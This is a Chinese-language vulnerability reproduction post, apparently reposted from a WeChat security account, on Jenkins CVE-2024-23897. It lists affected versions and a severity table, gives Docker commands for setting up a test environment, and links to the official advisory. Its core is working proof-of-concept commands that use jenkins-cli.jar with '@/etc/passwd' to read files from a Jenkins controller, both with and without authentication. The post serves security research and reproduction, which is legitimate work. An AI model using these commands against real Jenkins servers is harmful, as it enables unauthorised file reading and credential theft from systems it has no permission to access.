Jenkins是Jenkins开源的一个应用软件。一个开源自动化服务器Jenkins提供了数百个插件来支持构建,部署和自动化任何项目。
Jenkins 2.217版本至2.441版本、LTS 2.222.1版本至2.426.2版本存在安全漏洞,该漏洞源于不会对通过CLI WebSocket端点发出的请求执行源验证,导致跨站劫持漏洞,从而允许攻击者在Jenkins控制器上执行CLI命令。
漏洞等级 |
严重 | 漏洞评分 | 9.8 |
漏洞类型 | 任意文件读取、RCE | 公开漏洞情报 | 2024年01月25日 |
利用条件 | 有权限要求 | 威胁类型 | 远程 |
组件名称 | Jenkins | #FFE9F1FB受影响版本 |
version <= TLS 2.426.2 version <= 2.441 |
二、漏洞分析
官网通报链接
https://www.jenkins.io/security/advisory/2024-01-24/
例如这样子:
http://127.0.0.1:8080/jnlpJars/jenkins-cli.jar
三、任意文件读取
漏洞POC:
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ connect-node @/etc/passwd
1.存在身份验证,使用http
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -auth admin:Admin@123 -http who-am-i @/etc/passwd
2.存在身份验证,使用webSocket
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -auth admin:Admin@123 -webSocket who-am-i @/etc/passwd
3.删除身份验证测试
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket who-am-i @/etc/passwd
四、关于RCE远程代码执行
五、测试环境搭建
https://github.com/jenkinsci/jenkins/releases
https://www.jenkins.io/doc/book/installing/windows/
https://github.com/jenkinsci/jenkins/releases
java -jar jenkins.war
docker pull bitnami/jenkins:2.426.2-debian-11-r3
docker run -e "JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:5005" -d --name jenkins -p 8081:8080 -p 8777:5005 bitnami/jenkins:2.426.2-debian-11-r3
1.jenkins官网通报和补丁
1.jenkins官网通报和补丁
https://www.jenkins.io/security/advisory/2024-01-24/
2.Jenkins CLI介绍
https://www.jenkins.io/doc/book/managing/cli/
3.长亭安全复现
https://mp.weixin.qq.com/s/GSDwEg5fVHwEKatGpuxPog
4.目前jenkins系统最新版本下载链接
https://github.com/jenkinsci/jenkins/releases
漏洞利于工具和环境搭建程序,并已添加相关命令,清单如下:
原文始发于微信公众号(笑谈安全阁):【漏洞复现】Jenkins 任意文件读取漏洞CVE-2024-23897(附POC)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论